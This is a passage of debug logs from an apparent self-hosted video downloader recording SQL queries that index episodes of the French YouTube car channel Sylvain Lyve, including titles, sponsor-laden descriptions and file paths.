M550d : Le gasoil qui flingue les Ferrari [1xXiC2vBy5w].mkv", false, 2, ~U[2026-02-26 17:15:00Z]] 07:39:24.166 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=36.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.170 [debug] QUERY OK source="media_items" db=3.4ms idle=34.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-19 17:15:07Z], 2] 07:39:24.175 [debug] QUERY OK source="media_items" db=4.1ms idle=36.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "9f4bd0c3-3bc9-46b3-a72b-19530b8c328e", "tkpTIMYKJWg", 2146, false, "https://www.youtube.com/watch?v=tkpTIMYKJWg", 9, "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", false, false, false, 2, [], 98, ~U[2026-02-19 17:15:07Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Hugo Cuocolo\nMontage sponso : Robin Danos \nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FUTUR #FLOP #ROUERONDE", "VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )", "tkpTIMYKJWg", 2146, false, "https://www.youtube.com/watch?v=tkpTIMYKJWg", "/downloads/Sylvain Lyve/2026-02-19 VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' )/VTECH : Il a voulu créer la voiture DU FUTUR ( Tucker 48' ) [tkpTIMYKJWg].mkv", false, 2, ~U[2026-02-19 17:15:07Z]] 07:39:24.177 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=39.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.178 [debug] QUERY OK source="media_items" db=1.0ms idle=13.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-12 17:15:07Z], 2] 07:39:24.224 [debug] QUERY OK source="media_items" db=45.3ms idle=13.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "84a626ec-9685-4ee3-ba31-0da663eb8bbe", "WRr5ZsSPQrA", 1545, false, "https://www.youtube.com/watch?v=WRr5ZsSPQrA", 10, "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", false, false, false, 2, [], 98, ~U[2026-02-12 17:15:07Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "WRr5ZsSPQrA", 1545, false, "https://www.youtube.com/watch?v=WRr5ZsSPQrA", "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", false, 2, ~U[2026-02-12 17:15:07Z]] 07:39:24.226 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=55.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.228 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=52.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-05 17:15:02Z], 2] 07:39:24.231 [debug] QUERY OK source="media_items" db=2.3ms idle=52.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "4e81c0fb-2b56-459c-b6bd-831734fe22d6", "KBkzOmXTOF0", 1194, false, "https://www.youtube.com/watch?v=KBkzOmXTOF0", 11, "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", false, false, false, 2, [], 98, ~U[2026-02-05 17:15:02Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "KBkzOmXTOF0", 1194, false, "https://www.youtube.com/watch?v=KBkzOmXTOF0", "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", false, 2, ~U[2026-02-05 17:15:02Z]] 07:39:24.233 [debug] QUERY OK source="sources" db=0.5ms idle=53.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.234 [debug] QUERY OK source="media_items" db=1.3ms idle=8.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-29 17:15:06Z], 2] 07:39:24.237 [debug] QUERY OK source="media_items" db=1.9ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "VTECH : Les séries limitées ( et parfois bien nulles )", "2e914d01-69cf-41ce-a5db-6071468a3850", "sdWPiBrsCVo", 2116, false, "https://www.youtube.com/watch?v=sdWPiBrsCVo", 12, "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", false, false, false, 2, [], 98, ~U[2026-01-29 17:15:06Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "VTECH : Les séries limitées ( et parfois bien nulles )", "sdWPiBrsCVo", 2116, false, "https://www.youtube.com/watch?v=sdWPiBrsCVo", "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", false, 2, ~U[2026-01-29 17:15:06Z]] 07:39:24.239 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.240 [debug] QUERY OK source="media_items" db=0.9ms idle=7.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 17:15:05Z], 2] 07:39:24.244 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "Rouler avec des roues CARRÉES : Ça fait quoi ?", "d55e1999-a4ba-40df-843e-02bec81977c7", "uP6KZmvaz0Y", 1614, false, "https://www.youtube.com/watch?v=uP6KZmvaz0Y", 13, "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", false, false, false, 2, [], 98, ~U[2026-01-22 17:15:05Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "Rouler avec des roues CARRÉES : Ça fait quoi ?", "uP6KZmvaz0Y", 1614, false, "https://www.youtube.com/watch?v=uP6KZmvaz0Y", "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", false, 2, ~U[2026-01-22 17:15:05Z]] 07:39:24.248 [debug] QUERY OK source="sources" db=1.7ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.251 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=11.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-15 17:15:00Z], 2] 07:39:24.254 [debug] QUERY OK source="media_items" db=2.6ms idle=12.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "RENAULT MEGANE R26.R : Reine du Nurb'", "c4149e7e-fe5e-4b7f-ac5b-aa759a069519", "6JeOGZG73cg", 1426, false, "https://www.youtube.com/watch?v=6JeOGZG73cg", 14, "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", false, false, false, 2, [], 98, ~U[2026-01-15 17:15:00Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "RENAULT MEGANE R26.R : Reine du Nurb'", "6JeOGZG73cg", 1426, false, "https://www.youtube.com/watch?v=6JeOGZG73cg", "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", false, 2, ~U[2026-01-15 17:15:00Z]] 07:39:24.256 [debug] QUERY OK source="sources" db=0.4ms queue=0.4ms idle=14.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.259 [debug] QUERY OK source="media_items" db=2.1ms idle=12.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 17:15:05Z], 2] 07:39:24.264 [debug] QUERY OK source="media_items" db=3.5ms idle=12.2ms INSERT INTO "media_items" AS m0 